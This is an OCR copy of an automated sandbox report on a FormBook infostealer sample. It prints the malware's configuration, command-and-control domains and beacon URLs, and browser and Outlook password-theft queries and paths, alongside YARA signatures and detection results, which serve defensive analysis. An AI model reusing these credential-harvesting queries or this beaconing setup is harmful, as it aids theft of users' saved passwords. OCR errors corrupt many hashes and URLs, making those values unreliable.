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Analysis Report SPECIFICATION REQUEST.exe

Overview
General Information Detection Classification
Sample SPECIFICATION
Name: REQUEST.exe MALICIOUS Found malware configuration
Analysis ID: 344818 Malicious sample detected (through ...
MDS: €7d7f8b02dd023f.. Snort IDS alert for network traffic (e....
SHA1L:
95e91ec34debdc.. System process connects to networ...
SHA256: fc534d33f183a32..

Yara detected AntiVM_3

Most interesting Screenshot:

Yara detected FormBook

| B

w
«Q
>
2
(=
=
®
(7]

L -]
L Machine Learning detection for samp...
B A
B Maps a DLL or memory area into an...
]
B FormBook Modifies the context of a thread in a...
]
o Score: 100 Madifies the prolog of user mode fun...
an Range: 0-100 Queues an APC in another; process ...
B Whitelisted: false

) Sample uses process hollowing tech...

Confidence: 100%

Startup

= System is w10x64
e [M| SPECIFICATION REQUEST.exe (PID: 2952 cmdline: 'C:\Users\user\Desktop\SPECIFICATION REQUEST.exe' MD5: E7D7F8B02DD023F31B46E5BB265C7224)
e [M| SPECIFICATION REQUEST.exe (PID: 6104 cmdline: C:\Users\user\Desktop\SPECIFICATION REQUEST.exe MD5: E7D7F8B02DD023F31B46E5BB265C7224)
o W explorer.exe (PID: 3472 cmdline: MD5: AD5296B280E8F522A8A897C96BABOE1D)
e (B wlanextexe (PID: 5964 cmdline: C:\Windows\SysWOW64\wlanext.exe MD5: CD1ED9A48316D58513D8ECB2D55B5C04)
cmd.exe (PID: 2264 cmdline: /c del 'C:\Users\user\Desktop\SPECIFICATION REQUEST.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)
. conhost.exe (PID: 1012 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

= cleanup

Malware Configuration

Threatname: FormBook

"Config: ": [
"CONFIG_PATTERNS 0x8bc2",
"KEY1_OFFSET 0x1d51a",
"CONFIG SIZE : Oxe5",
"CONFIG OFFSET 0x1d61a”,
"URL SIZE : 30",

"searching string pattern”,
"strings_offset OxI1cla3",
"searching hashes pattern”,

"Oxe7084alf",
"Oxf43668a6",
"0x980476e5",
"0x35a6d50c",
"0x£89290dc",
"0x94261f57",
"Ox7d54c891",
"O0x47cb721",

"Oxf72d70a3",
"0x9f715050",
"OxbfOa5e41",
"0x2902d074",
"Oxf653b199",
"Oxc8c42cc6”,
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"0x2e1b7599",
"0x210d4d07",
"0x6d2a7921",
"0x8ea85a2f",
"9x207c50Ff",
"0xb967410a",
"0x1eb17415",
"0xb46802f8",
"0x11da8518",
"Oxf42ed5c”,

"0x2885a3d3",
"0x445675fa",
"0x5c289b4c",
"0x40ede5aa",
"0xf24946a2",
"0x8559c3e2",
"0xb9d34d23",
"Oxa14d0a19",
"0x2d0O7bbe2",
"Oxbbd1d68c",
"0xb28c29d4",
"0x3911edeb",
"Oxefado46d",
"0xa0605497",
"0xf5529cbf",
"0x5507576a",
"0xfa2467c8",
"Ox5b6423bf",
"0xe22409b9",
"Oxdeleba2",

"Oxae847e2",

"0xa8cfcc9”,

"0x26fc2c69",
"0x5d8a75ac",
"0x22eb3474",
"0x2b37c918",
"0x79402007",
"0x7544791c",
"0x641b2c94",
"0x1dbodecf",
"0xf5d02cd8",
"0xad012100",
"0x6206e716",
"Ox5e4b9b9a",
"Oxede2f5f4",
"0x54c93159",
"0x25ea79b",

"0x5bf29119",
"0xd6507db",

"0x32ffc9f8",
"Oxedcfab72",
"0x98db5380",
"Oxcedcc542",
"0x3092a0a2",
"0x66053660",
"0x2607a133",
"Oxfcd01571",
"0x80b41d4",

"0x4102ad8d",
"9x857bf6a6",
"Oxd3ec6064",
"0x23145fc4",
"0xc026698f",
"0x8f5385d8",
"0x2430512b",
"0x3ebe9086",
"0x4c6fddb5",
"0x276db13e",
"0xe00f0a8e",
"0x85cf9404",
"0xb2248784",
"Oxcdc7e023",
"Ox11f5£50",

"Ox1dddbcic",
"0x8235fce2",
"0x21b17672",
"0xbba64d93",
"0x2f0eedd8",
"0x9cb95240",
"0x28c21e3f",
"0x9347ac57",
"0x9d9522dc",
"0x911bc70e",
"0x74443db9",
"0xf04ciaa9",
"0x6484bcb5",
"Ox11fc2f72",
"0x2b44324f",
"0x9d70beea",
"9x59adf952",

"0x172ac7b4",
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"0x5d4b4e66",
"Oxed297eae",
"0xa88492a6",
"0xb21b057c",
"0x70f35767",
"Oxb6f4d5a8",
"0x67cea859",
"0xc1626bff",
"Oxbdelae2",

"0x24a48dcf",
"Oxe11da208",
"0x1c920818",
"0x65f4449c",
"0xc30bcO50",
"0x3e86el1fb",
"0x9e01fc32",
"0x216500c2",
"0x48e207c9",
"Ox2decf13e",
"0x19996921",
"Oxb7da3dd7",
"9x47£39d2b",
"0x6777e2de",
"9xd980e37f",
"0x963fea3b",
"Oxacddb7ea",
"0x110aec35",
"0x647331f3",
"0x2e381da4",
"0x50f66474",
"Oxec16e0cO”,
"Oxf9d81a42",
"0xd6c6f9db",
"Oxef3df91",

"0x60e0e203",
"0x7c81caaf",
"Ox71c2ec76",
"Ox25e431cc”,
"9x106f568f",
"0x6a60c8a9",
"0xb758aab3",
"0x3b34de90",
"0x700420f5",
"Oxee359a7e",
"0xd1d808a",

"0x47bad7a5",
"0xff959c4c”,
"0x5d30a87d",
"0xaa95a900",
"0x80b19064",
"0x9c5a481a",
"0x1dd252d",

"0xdb3055fc",
"OxeOcf8bf1",
"0x3a48eabc",
"Oxf0472£97",
"0x4a6323de",
"0x4260edca",
"Ox53f7fbaf",
"0x3d2e9c99",
"0xf6879235",
"Oxe6723cac”,
"Oxe184dfaa",
"0xe99ffaad",
"Oxf6aebe25",
"Oxefadf9a5",
"0x215de938",
"0x757906aa",
"0x84f8d766",
"0xb6494f65",
"0x13a75318",
"0x5bde5587",
"Oxe9eba2ad",
"0x6b8addf3",
"0x9c02f250",
"Oxe52a2a2e”,
"0xdb96173c",
"0x3cof2fc",

"Oxd45e157¢",
"0x4edd1210",
"0x2b127cel",
"Oxadc887b6",
"Oxf45a1c52",
"0xc84869d7",
"9x36dc1f04",
"0x50c2a508",
"0x3e88e8bf",
"0x4b6374a6",
"0x72a93198",
"0x85426977",

. "Oxeal93e11".
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"Oxea653007",
"0xe297c9c",

"0x65399e87",
"0x23609e75",
"0xb92e8a5a",
"0xabc89476",
"0xd989572f",
"0x4536ab86",
"0x3476afc1",
"Oxaf24a63b",
"0x393b9ac8",
"0x414a3c70",
"0x487e77f4",
"Oxbee1bdf6",
"0xc30c49a6",
"Oxcb591d7f",
"Ox5c4eed55",
"0x7c81c71d",
"0x11c6f95e",

"USERNAME",

"LOCALAPPDATA",

"USERPROFILE",

"APPDATA",

"TEMP",

"ProgramFiles",

"CommonProgramFiles",

"ALLUSERSPROFILE",

"/c copy |"",

"/c del |"",

"\ \Run",

"||Policies”,

"\ \Explorer",

"||Registry|\User",

"\ \Registry\\Machine",

"\ | SOFTWARE\ \Microsoft| |Windows | |CurrentVersion",
"Office||15.0\\0utlook||Profiles||Outlook||",

" NT\||CurrentVersion||\Windows Messaging Subsystem||Profiles||Outlook|\|",
"| | SOFTWARE\ \Mozilla||\Mozilla ",

"\ \Mozilla",

"Username:
"Password: ",
"formSubmitURL",

"usernameField",

"encryptedUsername",

"encryptedPassword",

"||logins. json",

"||signons.sqlite",

"\ \Microsoft|\Vault||",

"SELECT encryptedUsername, encryptedPassword, formSubmitURL FROM moz_logins",
"||Google| \Chrome\\User Datal\|Default||\Login Data",

"SELECT origin_url, username_value, password_value FROM logins”,

.exe”,

.com",
".scr",
".pif",
".cmd",
".bat",
"ms",

"win",

"gdi",

"mfc”,

"vga”,

"igfx",

"user"”,

"help"”,

"config",

"update”,

"regsvc”,

"chkdsk",

"systray",

"audiodg”,

"certmgr",

"autochk",

"taskhost",

"colorcpl”,

"services",
"IconCache",
"ThumbCache",
"Cookies",
"SeDebugPrivilege”,
"SeShutdownPrivilege",
"\ |BaseNamedObjects",

"config.php",

"POST ",
" HTTP/1.1",
"Host: ",
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"Connection: close",

"Content-Length: ",

"Cache-Control: no-cache",

"Origin: http://",

"User-Agent: Mozilla Firefox/4.0",

"Content-Type: application/x-www-form-urlencoded",

"Accept: */*",

"Referer: http://",

"Accept-Language: en-US",

"Accept-Encoding: gzip, deflate”,
"dat=",

"f-start”,

"serabet.com”,
"galanggroup.com”,
"zweitmeinung-urologie.com”,
"damsalon.com”,
"binliwine.com",
"lifeladderindia.com",
"flyingwranchmanagement.com"”,
"tripsandturns.com”,
"3headdesign.com",
"aluminumfacade.com",
"toprestau.com”,
"facetreatspa.com”,
"periodrescuekit.com”,
"dbaojian.com",
"altinotokurtarma.com”,
"gkpelle.com",
"loguslife.com",
"treatse.com",
"lghglzcnkx.net",
"jawharabh.com",
"planterboxgardener.com”,
"douyzqdsgl.com",
"bestofselling.com",
"carbeloy.com",
"haok.net",
"mymailtek.com",
"itsabossthing.com",
"peoplesdao.com”,
"bhumarealestate.com”,
"otugxixd.icu",
"amongugadu. com",
"jemadrekre.com",
"nikber.com",
"genomicsmaster.com”,
"firstbyphone.com",
"arogyamfarms.com",
"outletamigo.com",
"musannafashion.com",
"dtrixxx.com”,
"quickandeasygroup.com”,
"rawhustleapparel.com”,
"care.land",
"charmingoneboutique.com”,
"xn--fllessang-g3a.com",
"trendandjobs.online",
"voxmediation.com",
"alkawtherabudhabi.com",
"peeledeye.com”,
"mcgillfamilylaw.com”,
"prokit.net",
"my-safebaby.com",
"bookatalia.com",
"utilking.com",
"jhondavid.com",
"onpassivewithval.com",
"gtelemed.com",
"playfighterstube.com”,
"bestfreezerstorage.com”,
"kichnpro.com",
"sanjeevanicreation.com",
"allturdsmatter.com”,
"picklebarreldillivers.com”,

"clinversity.com",

"keystogce.com",
"fend”,
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Yara Overview

Memory Dumps

Source Rule Description Author Strings
00000000.00000002.234689042.0000000002A3 JoeSecurity_AntiVM_3  Yara detected Joe Security
5000.00000004.00000001.sdmp AntiVM_3
00000005.00000002.603741374.00000000005B JoeSecurity_FormBook  Yara detected Joe Security
0000.00000040.00000001.sdmp FormBook
00000005.00000002.603741374.00000000005B Formbook_1 autogenerated rule Felix Bilstein - e 0x98e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0000.00000040.00000001.sdmp brought to you by  yara-signator at e 0x9b62:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
yara-signator cocacoding dot e 0x15685:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
com 7494
e 0x15171:$sequence_2: 3B 4F 14 73 9585 C9 74 91
e 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
e 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
e Oxa57a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02

83 E3 OF C1 EA 06

0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

e o o o

00000005.00000002.603741374.00000000005B Formbook detect Formbook in JPCERT/CC
0000.00000040.00000001.sdmp memory Incident Response
Group

0x18409:$sqlite3step: 68 34 1C 7B E1
0x1851c:$sqlite3step: 68 34 1C 7B E1
0x18438:$sqlite3text: 68 38 2A 90 C5
0x1855d:$sqlite3text: 68 38 2A 90 C5
0x1844b:$sqlite3blob: 68 53 D8 7F 8C
0x18573:$sqlite3blob: 68 53 D8 7F 8C

e o o o o o

00000005.00000002.605460849.0000000000D7 JoeSecurity_FormBook  Yara detected Joe Security
0000.00000004.00000001.sdmp FormBook

Click to see the 18 entries

Unpacked PEs

Source Rule Description Author Strings

2.2.SPECIFICATION REQUEST.exe.400000.0.unpack JoeSecurity_FormBook  Yara detected Joe Security
FormBook

2.2.SPECIFICATION REQUEST.exe.400000.0.unpack Formbook_1 autogenerated rule Felix Bilstein - e 0Ox8ae8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
brought to you by  yara-signator at e 0x8d62:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
yara-signator cocacoding dot e 0x14885:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
com 7494
0x14371:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x14987:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
Ox14aff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x977a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06
0x135ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxad73:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1a527:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1b52a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

e o o o

e o o o

2.2.SPECIFICATION REQUEST.exe.400000.0.unpack Formbook detect Formbook in JPCERT/CC
memory Incident Response
Group

0x17609:$sqlite3step: 68 34 1C 7B E1
0x1771c:$sqlite3step: 68 34 1C 7B E1
0x17638:$sqlite3text: 68 38 2A 90 C5
0x1775d:$sqlite3text: 68 38 2A 90 C5
0x1764b:$sqlite3blob: 68 53 D8 7F 8C
0x17773:$sqlite3blob: 68 53 D8 7F 8C

e o o o o o

2.2.SPECIFICATION REQUEST.exe.400000.0.raw.unpack JoeSecurity_FormBook Yara detected Joe Security
FormBook

2.2.SPECIFICATION REQUEST.exe.400000.0.raw.unpack  Formbook_1 autogenerated rule Felix Bilstein - e 0x98e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
brought to you by  yara-signator at e 0x9b62:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
yara-signator cocacoding dot e 0x15685:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
com 7494
0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
Oxa57a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06
0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

e o o o

e o o o
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Source Rule Description Author Strings

Click to see the 1 entries

Sigma Overview

No Sigma rule has matched

Signature Overview

@ AV Detection

® Compliance

@ Software Vulnerabilities

@ Networking

@ E-Banking Fraud

@ System Summary

@ Data Obfuscation

@ Hooking and other Techniques for Hiding and Protection
® Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion
@ Language, Device and Operating System Detection
@ Stealing of Sensitive Information

@ Remote Access Functionality

@

Click to jump to signature section

AV Detection: | ) |

Found malware configuration
Yara detected FormBook

Compliance:

Contains modern PE file flags such as dynamic base (ASLR) or NX

E

Binary contains paths to debug symbols

=

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

=

E-Banking Fraud:

Yara detected FormBook

System Summary:

Malicious sample detected (through community Yara rule)

=

=

Hooking and other Techniques for Hiding and Protection:

Copyright null 2021 Page 10 of 35



Malware Analysis System Evasion:

Yara detected AntiVM_3

o

HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Stealing of Sensitive Information:

Yara detected FormBook

Remote Access Functionality: | |

Yara detected FormBook

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command Network
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control Effects
Valid Shared Path Process Rootkit Credential  Security Software Remote Credential Exfiltration Encrypted Eavesdrop c
Accounts Modules g Interception  Injection API Discovery Services API Over Other Channel Insecure
Hooking Hooking g§ Network Network

Medium Communical
Default Scheduled Boot or Boot or Logon Masquerading LSASS Virtualization/Sandbox Remote Archive Exfiltration  Ingress Tool Exploit SS7
Accounts Task/Job  Logon Initialization Memory Evasion Desktop Collected  Over Transfer Redirect Phc

Initialization  Scripts Protocol Data Bluetooth Calls/SMS
Scripts
Domain At (Linux)  Logon Script Logon Script Virtualization/Sandbox Security Process Discovery SMB/Windows Data from Automated Non- Exploit SS7
Accounts (Windows)  (Windows) Evasion Account Admin Shares Network Exfiltration Application Track Devict
Manager Shared Layer Location
Drive Protocol
Local At Logon Script Logon Script Disable or Modify NTDS Remote System Distributed Input Scheduled Application SIM Card
Accounts (Windows) (Mac) (Mac) Tools Discovery Component  Capture Transfer Layer Swap
Object Model Protocol

Cloud Cron Network Network Logon  Process LSA System Information SSH Keylogging Data Fallback Manipulate
Accounts Logon Script Script Injection Secrets Discovery Transfer Channels Device

Size Limits Communical
Replication  Launchd Rc.common Rc.common Deobfuscate/Decode Cached System Owner/User  VNC GUI Input  Exfiltration  Multiband Jamming or
Through Files or Information Domain Discovery Capture Over C2 Communication Denial of
Removable Credentials Channel Service
Media
External Scheduled  Startup Startup Items Obfuscated Filesor  DCSync Network Sniffing Windows Web Portal Exfiltration Commonly Rogue Wi-Fi
Remote Task Items Information Remote Capture Over Used Port Access Poin
Services Management Alternative

Protocol
Drive-by Command Scheduled  Scheduled Software Packing Proc Network Service Shared Credential Exfiltration Application Downgrade -
Compromise and Task/Job Task/Job Filesystem Scanning Webroot API Over Layer Protocol Insecure

Scripting Hooking Symmetric Protocols
Interpreter Encrypted
Non-C2
Protocol

Behavior Graph
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Behavior Graph
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Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source

SPECIFICATION REQUEST.exe

Dropped Files

No Antivirus matches

Unpacked PE Files

Source

2.2.SPECIFICATION REQUEST.exe.400000.0.unpack

Domains

No Antivirus matches

URLs

Source
hitp://www.founder.com.cn/cn/bThe
hitp://www.founder.com.cn/cn/bThe

hitp://www.founder.com.cn/cn/bThe

Copyright null 2021

Detection

100%

Detection Scanner

100% Avira

Detection
0%
0%
0%

Word 2016

Scanner Label

Joe Sandbox ML

Label Link
TR/Crypt.ZPACK.Gen
Scanner Label

URL Reputation safe
URL Reputation safe
URL Reputation safe

Link

Download

Download File

Link
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Source

hitp:/fwww.tiro.com
hitp:/fwww.tiro.com
hitp:/fwww.tiro.com
hitp://iwww.goodfont.co.kr
hitp://iwww.goodfont.co.kr
hitp://iwww.goodfont.co.kr
hitp://www.carterandcone.coml
hitp://www.carterandcone.coml
hitp://www.carterandcone.coml
hitp://iwww.sajatypeworks.com
hitp://iwww.sajatypeworks.com
hitp://iwww.sajatypeworks.com
hitp:/fiwww.typography.netD
hitp:/fiwww.typography.netD
hitp:/fiwww.typography.netD
hitp://www.founder.com.cn/cn/cThe
hitp://www.founder.com.cn/cn/cThe
hitp://www.founder.com.cn/cn/cThe

hitp:/f\www.bistrolartichaut.com/gbr/?
8p=FjoPdvKOHVWO&EXIPdj=Iv22WWjBKqQBYt0GN1Q3exOP7ZZ1MpJKXobvjkOcU9p13POMNXwz/8In
MIRVOTV7WUKT

hitp://iwww.galapagosdesign.com/staff/dennis.htm
hitp://iwww.galapagosdesign.com/staff/dennis.htm
hitp://www.galapagosdesign.com/staff/dennis.htm
hitp://fontfabrik.com

hitp://fontfabrik.com

hitp://fontfabrik.com
hitp://www.founder.com.cn/cn
hitp://www.founder.com.cn/cn
hitp://www.founder.com.cn/cn

hitp:/fiwww.firstbyphone.com/gbr/?
ExIPdj=9T+hwsCOJ30KUotVp56F20UlcU+kzNAgslJ8t+71ysezeCdglRydECU9CMdgx5DONzh8&8p=Fjo
PdvKOHVWO

hitp:/fiwww.jiyu-kobo.co.jp/
hitp:/fiwww.jiyu-kobo.co.jp/
hitp:/fiwww.jiyu-kobo.co.jp/
hitp://\www.galapagosdesign.com/DPlease
hitp://\www.galapagosdesign.com/DPlease
hitp://www.galapagosdesign.com/DPlease
hitp:/f\www.sandoll.co.kr
hitp:/f\www.sandoll.co.kr
hitp:/f\www.sandoll.co.kr
hitp:/f/www.urwpp.deDPlease
hitp://www.urwpp.deDPlease
hitp://www.urwpp.deDPlease
hitp://www.zhongyicts.com.cn
hitp://www.zhongyicts.com.cn
hitp://www.zhongyicts.com.cn

hitp://iwww.toprestau.com/gbr/?
ExIPdj=nhAt8Z8LHIDSJ380PYfO+brGMc7hoePPtOUT7/rkXoSmXfIRpMQb8gX/3jlaoGmglyg5&8p=Fjo
PdvKOHVWO

hitp:/fiwww.sakkal.com
hitp:/fiwww.sakkal.com

hitp:/fiwww.sakkal.com

Domains and IPs

Contacted Domains

Name P Active

Detection
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%

0%
0%
0%
0%
0%
0%
0%
0%
0%
0%

0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%

0%
0%
0%

Malicious

Scanner

URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud

URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud

URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud

URL Reputation
URL Reputation
URL Reputation

Antivirus Detection

Label Link
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe

safe

safe
safe
safe
safe
safe
safe
safe
safe
safe

safe

safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe

safe

safe
safe

safe

Reputation

Copyright null 2021
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Malicious Antivirus Detection

Reputation

Contacted URLs

Name Malicious Antivirus Detection Reputation

URLs from Memory and Binaries

Name Source Malicious Antivirus Detection Reputation
hitp://www.apache.org/licenses/LICENSE-2.0 explorer.exe, 00000003.0000000 false high
0.260000317.000000000BC36000.0
0000002.00000001.sdmp
hitp:/f\www.fontbureau.com explorer.exe, 00000003.0000000 false high
0.260000317.000000000BC36000.0
0000002.00000001.sdmp
hitp:/fiwww.fontbureau.com/designersG explorer.exe, 00000003.0000000 false high
0.260000317.000000000BC36000.0
0000002.00000001.sdmp
hitp:/f\www.fontbureau.com/designers/? explorer.exe, 00000003.0000000 false high
0.260000317.000000000BC36000.0
0000002.00000001.sdmp
hitp:/f\www.founder.com.cn/cn/bThe explorer.exe, 00000003.0000000 false e URL Reputation: safe unknown
0.260000317.000000000BC36000.0 e URL Reputation: safe
0000002.00000001.sdmp e URL Reputation: safe
hitp:/fiwww.fontbureau.com/designers? explorer.exe, 00000003.0000000 false high
0.260000317.000000000BC36000.0
0000002.00000001.sdmp
hitp:/fiwww.tiro.com explorer.exe, 00000003.0000000 false e URL Reputation: safe unknown
0.260000317.000000000BC36000.0 e URL Reputation: safe
0000002.00000001.sdmp e URL Reputation: safe
hitp://www.fontbureau.com/designers explorer.exe, 00000003.0000000 false high
0.260000317.000000000BC36000.0
0000002.00000001.sdmp
hitp://iwww.goodfont.co.kr explorer.exe, 00000003.0000000 false e URL Reputation: safe unknown
0.260000317.000000000BC36000.0 e URL Reputation: safe
0000002.00000001.sdmp e URL Reputation: safe
hitp://www.carterandcone.coml explorer.exe, 00000003.0000000 false e URL Reputation: safe unknown
0.260000317.000000000BC36000.0 e URL Reputation: safe
0000002.00000001.sdmp e URL Reputation: safe
hitp://iwww.sajatypeworks.com explorer.exe, 00000003.0000000 false e URL Reputation: safe unknown
0.260000317.000000000BC36000.0 e URL Reputation: safe
0000002.00000001.sdmp e URL Reputation: safe
hitp:/fiwww.typography.netD explorer.exe, 00000003.0000000 false e URL Reputation: safe unknown
0.260000317.000000000BC36000.0 e URL Reputation: safe
0000002.00000001.sdmp e URL Reputation: safe
hitp://www.fontbureau.com/designers/cabarga.htmIN explorer.exe, 00000003.0000000 false high
0.260000317.000000000BC36000.0
0000002.00000001.sdmp
hitp://www.founder.com.cn/cn/cThe explorer.exe, 00000003.0000000 false * URL Reputation: safe unknown
0.260000317.000000000BC36000.0 * URL Reputation: safe
0000002.00000001.sdmp * URL Reputation: safe
hitp://www.galapagosdesign.com/staff/dennis.htm explorer.exe, 00000003.0000000 false * URL Reputation: safe unknown
0.260000317.000000000BC36000.0 * URL Reputation: safe
0000002.00000001.sdmp e URL Reputation: safe
hitp://fontfabrik.com explorer.exe, 00000003.0000000 false e URL Reputation: safe unknown
0.260000317.000000000BC36000.0 e URL Reputation: safe
0000002.00000001.sdmp e URL Reputation: safe
hitp://\www.founder.com.cn/cn explorer.exe, 00000003.0000000 false e URL Reputation: safe unknown
0.260000317.000000000BC36000.0 e URL Reputation: safe
0000002.00000001.sdmp e URL Reputation: safe
hitp:/f\www.fontbureau.com/designers/frere-jones.html explorer.exe, 00000003.0000000 false high

Copyright null 2021

0.260000317.000000000BC36000.0
0000002.00000001.sdmp
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Name Source Malicious Antivirus Detection Reputation

hitp:/fiwww.jiyu-kobo.co.jp/ explorer.exe, 00000003.0000000 false e URL Reputation: safe unknown
0.260000317.000000000BC36000.0 e URL Reputation: safe
0000002.00000001.sdmp e URL Reputation: safe

hitp://www.galapagosdesign.com/DPlease explorer.exe, 00000003.0000000 false e URL Reputation: safe unknown
0.260000317.000000000BC36000.0 e URL Reputation: safe
0000002.00000001.sdmp e URL Reputation: safe

hitp:/f\www.fontbureau.com/designers8 explorer.exe, 00000003.0000000 false high

0.260000317.000000000BC36000.0
0000002.00000001.sdmp

hitp:/fiwww.fonts.com explorer.exe, 00000003.0000000 false high
0.260000317.000000000BC36000.0
0000002.00000001.sdmp

hitp:/f/www.sandoll.co.kr explorer.exe, 00000003.0000000 false e URL Reputation: safe unknown
0.260000317.000000000BC36000.0 e URL Reputation: safe
0000002.00000001.sdmp e URL Reputation: safe
hitp://www.urwpp.deDPlease explorer.exe, 00000003.0000000 false e URL Reputation: safe unknown
0.260000317.000000000BC36000.0 e URL Reputation: safe
0000002.00000001.sdmp e URL Reputation: safe
hitp://www.zhongyicts.com.cn explorer.exe, 00000003.0000000 false e URL Reputation: safe unknown
0.260000317.000000000BC36000.0 e URL Reputation: safe
0000002.00000001.sdmp e URL Reputation: safe
hitp://schemas.xmlsoap.org/ws/2005/05/identity/claims/name  SPECIFICATION REQUEST.exe, 000 false high

00000.00000002.234532898.00000
000029B1000.00000004.00000001.

sdmp

hitp:/fiwww.sakkal.com explorer.exe, 00000003.0000000 false e URL Reputation: safe unknown
0.260000317.000000000BC36000.0 e URL Reputation: safe
0000002.00000001.sdmp e URL Reputation: safe

Contacted IPs

] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
B 75% <No. of IPs

Public

P Domain Country Flag ASN ASN Name Malicious
194.245.148.189 unknown Germany L 5517 CSLDE true
64.92.125.40 unknown United States ES 21777 MASSIVE-NETWORKSUS  true
34.102.136.180 unknown United States = 15169 GOOGLEUS true
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General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes analysed:
Number of new started drivers analysed:

Number of existing processes analysed:

Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Copyright null 2021

31.0.0 Emerald

344818

27.01.2021

07:57:13

CloudBasic

Oh 10m 58s

false

light

SPECIFICATION REQUEST.exe
default.jbs

Windows 10 64 bit v1803 with Office Professional Plus
2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8
Update 211

30
0
0
0
1

e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled

default

Timeout

MAL

mal100.troj.evad. WinEXE@7/1@6/3
Failed

e Successful, ratio: 19.8% (good quality ratio 18.1%)
e Quality average: 74.1%
e Quality standard deviation: 30.4%

e Successful, ratio: 100%
e Number of executed functions: 0
e Number of non-executed functions: 0

e Adjust boot time

e Enable AMSI

e Found application associated with file extension:
.exe
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Warnings: Show All

e Exclude process from analysis (whitelisted):
MpCmdRun.exe, audiodg.exe,
BackgroundTransferHost.exe, RuntimeBroker.exe,
WMIADAP.exe, backgroundTaskHost.exe,
SgrmBroker.exe, conhost.exe, svchost.exe,
wuapihost.exe

e Excluded IPs from analysis (whitelisted):
40.88.32.150, 104.43.139.144, 92.122.144.200,
51.104.139.180, 51.103.5.186, 20.54.26.129,
95.101.22.224, 95.101.22.216, 2.23.155.128,
2.23.155.153, 52.155.217.156

e Excluded domains from analysis (whitelisted):
au.download.windowsupdate.com.edgesuite.net,
arc.msn.com.nsatc.net, fs-
wildcard.microsoft.com.edgekey.net, fs-
wildcard.microsoft.com.edgekey.net.globalredir.aka
dns.net, wns.notify.windows.com.akadns.net,
al449.dscg2.akamai.net, arc.msn.com,
db5eap.displaycatalog.md.mp.microsoft.com.akadn
s.net, skypedataprdcoleus15.cloudapp.net,
emeal.notify.windows.com.akadns.net,
audownload.windowsupdate.nsatc.net,
displaycatalog.mp.microsoft.com,
watson.telemetry.microsoft.com, img-prod-cms-rt-
microsoft-com.akamaized.net,
prod.fs.microsoft.com.akadns.net, au-bg-
shim.trafficmanager.net, displaycatalog-
europeeap.md.mp.microsoft.com.akadns.net,
client.wns.windows.com, fs.microsoft.com, ris-
